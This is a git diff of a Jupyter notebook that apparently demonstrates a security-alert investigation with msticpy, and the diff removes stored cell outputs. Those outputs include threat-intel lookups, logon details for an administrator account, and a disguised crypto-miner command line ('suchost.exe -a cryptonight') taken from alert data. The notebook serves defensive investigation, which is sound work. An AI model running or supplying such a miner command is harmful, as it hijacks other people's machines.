"text/html": [ - "

Positive TI Results:

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "
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IocIocTypeSafeIocQuerySubtypeProviderResultSeverityDetailsRawResultReferenceStatus
1microsoft.comdnsmicrosoft.comNoneOTXTruehigh{'pulse_count': 9, 'names': ['MIOCs - Latest Malware Analysis worldwide', 'MIOCs - Latest Malwar...{'indicator': 'microsoft.com', 'alexa': 'http://www.alexa.com/siteinfo/microsoft.com', 'whois': ...https://otx.alienvault.com/api/v1/indicators/domain/microsoft.com/general0
0168.63.129.16ipv4168.63.129.16NoneXForceTruewarning{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...{'ip': '168.63.129.16', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional ...https://api.xforce.ibmcloud.com/ipr/168.63.129.160
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" - ], - "text/plain": [ - " Ioc IocType SafeIoc QuerySubtype Provider Result \\\n", - "1 microsoft.com dns microsoft.com None OTX True \n", - "0 168.63.129.16 ipv4 168.63.129.16 None XForce True \n", - "\n", - " Severity \\\n", - "1 high \n", - "0 warning \n", - "\n", - " Details \\\n", - "1 {'pulse_count': 9, 'names': ['MIOCs - Latest Malware Analysis worldwide', 'MIOCs - Latest Malwar... \n", - "0 {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... \n", - "\n", - " RawResult \\\n", - "1 {'indicator': 'microsoft.com', 'alexa': 'http://www.alexa.com/siteinfo/microsoft.com', 'whois': ... \n", - "0 {'ip': '168.63.129.16', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional ... \n", - "\n", - " Reference \\\n", - "1 https://otx.alienvault.com/api/v1/indicators/domain/microsoft.com/general \n", - "0 https://api.xforce.ibmcloud.com/ipr/168.63.129.16 \n", - "\n", - " Status \n", - "1 0 \n", - "0 0 " - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "from msticpy.sectools.tiproviders.ti_provider_base import TISeverity\n", "\n", @@ -5065,7 +1010,7 @@ }, { "cell_type": "code", - "execution_count": 27, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:17.223752Z", @@ -5073,50 +1018,7 @@ }, "scrolled": true }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "8bdb82fce96c426eada5286a8dbff187", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "c844b8ccb9b24f10bcbd46c2b48af227", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:15',…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "b6d3350b440f47a59a806709454056e4", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', before=5, max_before=20,\n", @@ -5127,121 +1029,14 @@ }, { "cell_type": "code", - "execution_count": 28, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:22.127025Z", "start_time": "2020-05-16T02:21:19.300028Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "

Command Line: '.\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4'

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

2 proceses with matching commandline found on 1 hosts in workspace

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

between: 2019-02-08 22:04:15+00:00 and 2019-02-14 22:04:15+00:00

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

To examine these execute the dataframe 'proc_match_in_ws' in a new cell

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "

TimeCreatedUtc Computer \\\n", - "0 2019-02-13 22:03:42.817000+00:00 MSTICAlertsWin1 \n", - "1 2019-02-09 23:26:48.073000+00:00 MSTICAlertsWin1 \n", - "\n", - " NewProcessName \\\n", - "0 C:\\W!ndows\\System32\\suchost.exe \n", - "1 C:\\W!ndows\\System32\\suchost.exe \n", - "\n", - " CommandLine \n", - "0 .\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4 \n", - "1 .\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# This query needs a commandline parameter which isn't supplied\n", "# by default from the the alert \n", @@ -5298,7 +1093,7 @@ }, { "cell_type": "code", - "execution_count": 29, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:24.995564Z", @@ -5306,50 +1101,7 @@ }, "scrolled": true }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "12a6d9f90708483d90156832eeaf8abd", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "5e80f24191ae4dfc801a42185bcfe223", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:15',…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "b8da90e950e34ce3a2d79e1caa24a2fb", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-1, 0), description='Time Range (day):', layout=Layout(width='80%'), max=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', origin_time=security_alert.origin_time,\n", @@ -5371,69 +1123,14 @@ }, { "cell_type": "code", - "execution_count": 30, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:30.636724Z", "start_time": "2020-05-16T02:21:28.813548Z" } }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - " \n", - "
Account: MSTICAdmin
Account Domain: MSTICAlertsWin1
Logon Time: 2019-02-13 22:03:42.283000+00:00
Logon type: 4(Batch)
User Id/SID: S-1-5-21-996632719-2361334927-4038480536-500
  SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator
  SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account

Subject (source) account: WORKGROUP/MSTICAlertsWin1$
Logon process: Advapi
Authentication: Negotiate
Source IpAddress: -
Source Host: MSTICAlertsWin1
Logon status:
" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "logon_id = security_alert.get_logon_id()\n", "\n", @@ -5460,73 +1157,14 @@ }, { "cell_type": "code", - "execution_count": 31, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:33.574131Z", "start_time": "2020-05-16T02:21:31.528726Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "

Querying data...

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fX6hu3U7TSy+9oDvuuFuSNHPmn7VkyRINGzZCU6feq/nzC+V5vs4662ydf/6g3V4vxjIBAAAA1BoLFnyiESNG68knZ2rFiu/1wQfv63e/GyVJmjbtMa1du1YPPDBFd901RY888pROPPFk3X//5PDrTz75FD399HPauHGjvv12sR544GH9+c/PqUWLlpo161WtWrVSkydP0qRJU/SnP82Q73v69NN/6Ve/ukJdunTVkCGXlvtenfXFFwu1bt06SdJbb72unj3P1F//+rwk6eGHn9S0aY/p3Xff0b/+NX+3f/eMNXcTJkzQ2rVrdfvtt1f4+MKFC3Xddddp48aNOv7443XzzTcrmaRABAAAAGxU58jOqnNk54x872TSVUmJv1Nfc8ghh6l58xaSpFatDtH69esqPP755wu0YsX3Gj78CkmS73tq0mTv8PG2bY+WJB100E901VUj9Ne/vqBvv/1Gn332qQ488CAtWPCJ2rU7NvwZ11//e0nS3/721zTXn1TXrqfpnXfe1gknnKwff/xRbdr8TE8++Zi+/PI/Kiz8SJK0efMmffXVf3XssR126net8vN266ur8f777+v555/Xz3/+8yqPjRo1Srfccovat2+vcePGacaMGRo4cGAmLgMAAADAHqZu3brh247jyBhT4XHf93TMMcdqwoTUqOTWrVu1efPm8PF69epJkv7974W66abrNGDAQJ122hlKJFwZY5RMJuU4Zd9v7dq1NV5Pz55n6aGH7tf69evUo8eZkiTP83XllcPVrdvpkqQffvhBDRo02PVfulTkY5k//PCD7r77bl1xxRVVHlu6dKm2bNmi9u3bS5Ly8/P12muvRX0JOWHlU09o3dz3sn0ZAAAAACQlEgmVlJSobduj9dlnn+rbb7+RJD366EPhPXnl/fOfherQoaP69euvn/zkYL333mz5vq82bX6mzz5boKKi1ZKkyZMnafbsd5RIJOR5XpXvc/TR7bR69WrNmvU3de/eS5LUsePxeumlF1RSUqJNmzbpyisv1Weffbrbv2Pkzd0NN9ygESNGaPny5VUeW7lypfLy8sL38/LytGLFip3+Gc2aNUr78by8xjv9vTJl0fxC1XWM8vr0zPalxCKX1n5Pw9pnD2ufPax99rD22cX6Zw9rX2blSlfJZHxbd+zoz0omXSUSrhzHCb/GcRy5bur9U0/tpos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